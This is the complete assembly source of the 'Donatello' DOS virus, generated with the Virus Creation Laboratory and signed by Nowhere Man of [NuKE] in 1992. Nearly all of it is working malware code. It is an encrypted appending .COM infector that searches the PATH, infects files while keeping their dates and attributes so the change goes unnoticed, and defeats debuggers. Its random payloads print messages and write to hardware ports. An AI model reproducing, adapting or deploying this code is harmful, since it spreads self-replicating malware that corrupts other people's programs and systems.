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- ; DONTELLO.ASM -- Donatello Virus
-
- ; Created with Nowhere Man's Virus Creation Laboratory v1.00
-
- ; Written by Nowhere Man
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-
-
- virus_type equ 0 ; Appending Virus
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- is_encrypted equ 1 ; We're encrypted
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- tsr_virus equ 0 ; We're not TSR
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-
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- code segment byte public
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- assume cs:code,ds:code,es:code,ss:code
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- org 0100h
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-
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- main proc near
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- db 0E9h,00h,00h ; Near jump (for compatibility)
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- start: call find_offset ; Like a PUSH IP
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- find_offset: pop bp ; BP holds old IP
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- sub bp,offset find_offset ; Adjust for length of host
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-
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- call encrypt_decrypt ; Decrypt the virus
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-
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- start_of_code label near
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-
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- lea si,[bp + buffer] ; SI points to original start
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- mov di,0100h ; Push 0100h on to stack for
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- push di ; return to main program
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- movsw ; Copy the first two bytes
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- movsb ; Copy the third byte
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-
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- mov di,bp ; DI points to start of virus
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-
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- mov bp,sp ; BP points to stack
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- sub sp,128 ; Allocate 128 bytes on stack
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-
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- mov ah,02Fh ; DOS get DTA function
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- int 021h
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- push bx ; Save old DTA address on stack
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-
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- mov ah,01Ah ; DOS set DTA function
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- lea dx,[bp - 128] ; DX points to buffer on stack
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- int 021h
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-
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- stop_tracing: mov cx,09EBh
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- mov ax,0FE05h ; Acutal move, plus a HaLT
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- jmp $-2
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- add ah,03Bh ; AH now equals 025h
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- jmp $-10 ; Execute the HaLT
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- lea bx,[di + null_vector] ; BX points to new routine
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- push cs ; Transfer CS into ES
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- pop es ; using a PUSH/POP
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- int 021h
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- mov al,1 ; Disable interrupt 1, too
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- int 021h
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- jmp short skip_null ; Hop over the loop
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- null_vector: jmp $ ; An infinite loop
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- skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
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- lock_keys: mov al,128 ; Change here screws DEBUG
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- out 021h,al ; If tracing then lock keyboard
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-
-
- call get_random
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- mov cx,0014h ; CX holds the divisor
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- cwd ; Sign-extend AX into DX:AX
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- div cx ; Divide AX by CX
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- or dx,dx ; Is the remaindier zero?
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- jne skip00 ; If not equal, skip effect
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- jmp short strt00 ; Success -- skip jump
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- skip00: jmp end00 ; Skip the routine
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- strt00: lea si,[di + data00] ; SI points to data
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- mov ah,0Eh ; BIOS display char. function
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- display_loop: lodsb ; Load the next char. into AL
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- or al,al ; Is the character a null?
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- je disp_strnend ; If it is, exit
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- int 010h ; BIOS video interrupt
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- jmp short display_loop ; Do the next character
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- disp_strnend:
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-
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- end00: call get_random
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- mov cx,0064h ; CX holds the divisor
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- cwd ; Sign-extend AX into DX:AX
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- div cx ; Divide AX by CX
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- or dx,dx ; Is the remaindier zero?
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- jne skip01 ; If not equal, skip effect
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- jmp short strt01 ; Success -- skip jump
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- skip01: jmp end01 ; Skip the routine
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- strt01: xor ah,ah ; BIOS get time function
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- int 1Ah
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- xchg dx,ax ; AX holds low word of timer
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- mov dx,0FFh ; Start with port 255
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- out_loop: out dx,al ; OUT a value to the port
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- dec dx ; Do the next port
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- jne out_loop ; Repeat until DX = 0
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-
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- end01: mov cx,0003h ; Do 3 infections
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- search_loop: push cx ; Save CX
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- call search_files ; Find and infect a file
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- pop cx ; Restore CX
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- loop search_loop ; Repeat until CX is 0
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-
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- jmp short strt02 ; Success -- skip jump
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- skip02: jmp end02 ; Skip the routine
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- strt02: push es ; Save ES
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- mov ax,050h ; Set the extra segement to
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- mov es,ax ; the BIOS area
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- mov byte ptr es:[0000h],1 ; Set print screen flag to
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- pop es ; "printing," restore ES
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-
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- end02:
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- com_end: pop dx ; DX holds original DTA address
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- mov ah,01Ah ; DOS set DTA function
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- int 021h
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-
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- mov sp,bp ; Deallocate local buffer
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-
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- xor ax,ax ;
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- mov bx,ax ;
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- mov cx,ax ;
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- mov dx,ax ; Empty out the registers
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- mov si,ax ;
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- mov di,ax ;
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- mov bp,ax ;
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-
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- ret ; Return to original program
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- main endp
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-
-
-
-
- db 0E2h,065h,076h,0A4h,0A6h
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-
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- search_files proc near
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- mov bx,di ; BX points to the virus
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- push bp ; Save BP
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- mov bp,sp ; BP points to local buffer
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- sub sp,135 ; Allocate 135 bytes on stack
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-
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- mov byte ptr [bp - 135],'\' ; Start with a backslash
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-
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- mov ah,047h ; DOS get current dir function
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- xor dl,dl ; DL holds drive # (current)
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- lea si,[bp - 134] ; SI points to 64-byte buffer
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- int 021h
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-
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- call traverse_path ; Start the traversal
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-
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- traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
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- je done_searching ; If so then we're done
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- call found_subdir ; Otherwise copy the subdirectory
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-
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- mov ax,cs ; AX holds the code segment
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- mov ds,ax ; Set the data and extra
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- mov es,ax ; segments to the code segment
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-
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- xor al,al ; Zero AL
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- stosb ; NULL-terminate the directory
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-
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- mov ah,03Bh ; DOS change directory function
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- lea dx,[bp - 70] ; DX points to the directory
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- int 021h
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-
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- lea dx,[bx + com_mask] ; DX points to "*.COM"
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- push di
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- mov di,bx
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- call find_files ; Try to infect a .COM file
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- mov bx,di
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- pop di
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- jnc done_searching ; If successful the exit
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- jmp short traversal_loop ; Keep checking the PATH
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-
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- done_searching: mov ah,03Bh ; DOS change directory function
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- lea dx,[bp - 135] ; DX points to old directory
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- int 021h
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-
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- cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
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- jne at_least_tried ; If not then exit
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- stc ; Set the carry flag for failure
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- at_least_tried: mov sp,bp ; Restore old stack pointer
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- pop bp ; Restore BP
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- ret ; Return to caller
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- com_mask db "*.COM",0 ; Mask for all .COM files
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- search_files endp
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-
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- traverse_path proc near
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- mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
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- xor di,di ; DI holds the starting offset
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-
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- find_path: lea si,[bx + path_string] ; SI points to "PATH="
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- lodsb ; Load the "P" into AL
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- mov cx,08000h ; Check the first 32767 bytes
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- repne scasb ; Search until the byte is found
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- mov cx,4 ; Check the next four bytes
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- check_next_4: lodsb ; Load the next letter of "PATH="
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- scasb ; Compare it to the environment
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- jne find_path ; If there not equal try again
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- loop check_next_4 ; Otherwise keep checking
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-
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- mov word ptr [bx + path_ad],di ; Save the PATH address
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- mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
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- ret ; Return to caller
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-
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- path_string db "PATH=" ; The PATH string to search for
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- path_ad dd ? ; Holds the PATH's address
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- traverse_path endp
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-
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- found_subdir proc near
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- lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
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- lea di,[bp - 70] ; DI points to the work buffer
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- push cs ; Transfer CS into ES for
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- pop es ; byte transfer
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- move_subdir: lodsb ; Load the next byte into AL
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- cmp al,';' ; Have we reached a separator?
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- je moved_one ; If so we're done copying
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- or al,al ; Are we finished with the PATH?
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- je moved_last_one ; If so get out of here
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- stosb ; Store the byte at ES:DI
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- jmp short move_subdir ; Keep transfering characters
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-
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- moved_last_one: xor si,si ; Zero SI to signal completion
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- moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address
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- ret ; Return to caller
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- found_subdir endp
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-
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- db 095h,001h,027h,07Eh,08Fh
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-
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-
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- find_files proc near
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- push bp ; Save BP
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-
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- mov ah,02Fh ; DOS get DTA function
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- int 021h
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- push bx ; Save old DTA address
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-
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- mov bp,sp ; BP points to local buffer
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- sub sp,128 ; Allocate 128 bytes on stack
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-
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- push dx ; Save file mask
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- mov ah,01Ah ; DOS set DTA function
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- lea dx,[bp - 128] ; DX points to buffer
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- int 021h
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-
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- mov ah,04Eh ; DOS find first file function
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- mov cx,00100111b ; CX holds all file attributes
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- pop dx ; Restore file mask
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- find_a_file: int 021h
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- jc done_finding ; Exit if no files found
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- call infect_file ; Infect the file!
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- jnc done_finding ; Exit if no error
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- mov ah,04Fh ; DOS find next file function
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- jmp short find_a_file ; Try finding another file
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-
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- done_finding: mov sp,bp ; Restore old stack frame
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- mov ah,01Ah ; DOS set DTA function
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- pop dx ; Retrieve old DTA address
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- int 021h
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-
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- pop bp ; Restore BP
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- ret ; Return to caller
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- find_files endp
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-
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- db 02Ch,015h,0BFh,02Dh,0F2h
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-
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- infect_file proc near
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- mov ah,02Fh ; DOS get DTA address function
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- int 021h
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- mov si,bx ; SI points to the DTA
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-
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- mov byte ptr [di + set_carry],0 ; Assume we'll fail
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-
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- cmp word ptr [si + 01Ah],(65279 - (finish - start))
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- jbe size_ok ; If it's small enough continue
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- jmp infection_done ; Otherwise exit
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-
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- size_ok: mov ax,03D00h ; DOS open file function, r/o
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- lea dx,[si + 01Eh] ; DX points to file name
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- int 021h
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- xchg bx,ax ; BX holds file handle
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-
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- mov ah,03Fh ; DOS read from file function
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- mov cx,3 ; CX holds bytes to read (3)
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- lea dx,[di + buffer] ; DX points to buffer
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- int 021h
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-
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- mov ax,04202h ; DOS file seek function, EOF
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- cwd ; Zero DX _ Zero bytes from end
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- mov cx,dx ; Zero CX /
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- int 021h
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-
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- xchg dx,ax ; Faster than a PUSH AX
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- mov ah,03Eh ; DOS close file function
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- int 021h
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- xchg dx,ax ; Faster than a POP AX
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-
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- sub ax,finish - start + 3 ; Adjust AX for a valid jump
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- cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
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- je infection_done ; If equal then exit
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- mov byte ptr [di + set_carry],1 ; Success -- the file is OK
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- add ax,finish - start ; Re-adjust to make the jump
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- mov word ptr [di + new_jump + 1],ax ; Construct jump
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-
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- mov ax,04301h ; DOS set file attrib. function
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- xor cx,cx ; Clear all attributes
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- lea dx,[si + 01Eh] ; DX points to victim's name
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- int 021h
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-
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- mov ax,03D02h ; DOS open file function, r/w
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- int 021h
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- xchg bx,ax ; BX holds file handle
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-
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- mov ah,040h ; DOS write to file function
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- mov cx,3 ; CX holds bytes to write (3)
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- lea dx,[di + new_jump] ; DX points to the jump we made
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- int 021h
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-
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- mov ax,04202h ; DOS file seek function, EOF
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- cwd ; Zero DX _ Zero bytes from end
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- mov cx,dx ; Zero CX /
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- int 021h
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-
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- push si ; Save SI through call
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- call encrypt_code ; Write an encrypted copy
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- pop si ; Restore SI
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-
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- mov ax,05701h ; DOS set file time function
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- mov cx,[si + 016h] ; CX holds old file time
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- mov dx,[si + 018h] ; DX holds old file date
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- int 021h
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-
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- mov ah,03Eh ; DOS close file function
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- int 021h
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-
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- mov ax,04301h ; DOS set file attrib. function
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- xor ch,ch ; Clear CH for file attribute
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- mov cl,[si + 015h] ; CX holds file's old attributes
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- lea dx,[si + 01Eh] ; DX points to victim's name
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- int 021h
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-
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- infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
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- ret ; Return to caller
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-
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- set_carry db ? ; Set-carry-on-exit flag
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- buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
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- new_jump db 0E9h,?,? ; New jump to virus
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- infect_file endp
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-
-
-
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- db 0C4h,003h,038h,043h,07Fh
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-
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- get_random proc near
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- xor ah,ah ; BIOS get clock count function
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- int 01Ah
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- xchg dx,ax ; Transfer the count into AX
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- ret ; Return to caller
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- get_random endp
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-
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- data00 db "Cowabunga, dudes! It's Donatello!",13,10
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- db "(Hey, John, can I be on Nightline too?)",13,10,0
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-
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- vcl_marker db "[VCL]",0 ; VCL creation marker
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-
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-
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- note db "[Donatello]",0
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- db "Nowhere Man, [NuKE] '92",0
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- db "Hey, Donatello, be like Mike!",0
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-
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- encrypt_code proc near
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- push bp ; Save BP
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- mov bp,di ; Use BP as pointer to code
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- lea si,[bp + encrypt_decrypt]; SI points to cipher routine
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-
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- xor ah,ah ; BIOS get time function
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- int 01Ah
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- mov word ptr [si + 9],dx ; Low word of timer is new key
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-
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- xor byte ptr [si + 1],8 ;
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- xor byte ptr [si + 8],1 ; Change all SIs to DIs
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- xor word ptr [si + 11],0101h; (and vice-versa)
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-
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- lea di,[bp + finish] ; Copy routine into heap
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- mov cx,finish - encrypt_decrypt - 1 ; All but final RET
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- push si ; Save SI for later
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- push cx ; Save CX for later
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- rep movsb ; Copy the bytes
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-
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- lea si,[bp + write_stuff] ; SI points to write stuff
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- mov cx,5 ; CX holds length of write
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- rep movsb ; Copy the bytes
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-
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- pop cx ; Restore CX
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- pop si ; Restore SI
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- inc cx ; Copy the RET also this time
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- rep movsb ; Copy the routine again
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-
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- mov ah,040h ; DOS write to file function
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- lea dx,[bp + start] ; DX points to virus
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-
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- lea si,[bp + finish] ; SI points to routine
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- call si ; Encrypt/write/decrypt
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-
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- mov di,bp ; DI points to virus again
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- pop bp ; Restore BP
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- ret ; Return to caller
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-
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- write_stuff: mov cx,finish - start ; Length of code
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- int 021h
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- encrypt_code endp
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-
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- end_of_code label near
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-
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- encrypt_decrypt proc near
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- lea si,[bp + start_of_code] ; SI points to code to decrypt
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- mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
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- xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
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- inc si ; Do the next word
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- inc si ;
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- loop xor_loop ; Loop until we're through
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- ret ; Return to caller
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- encrypt_decrypt endp
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- finish label near
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-
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- code ends
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- end main
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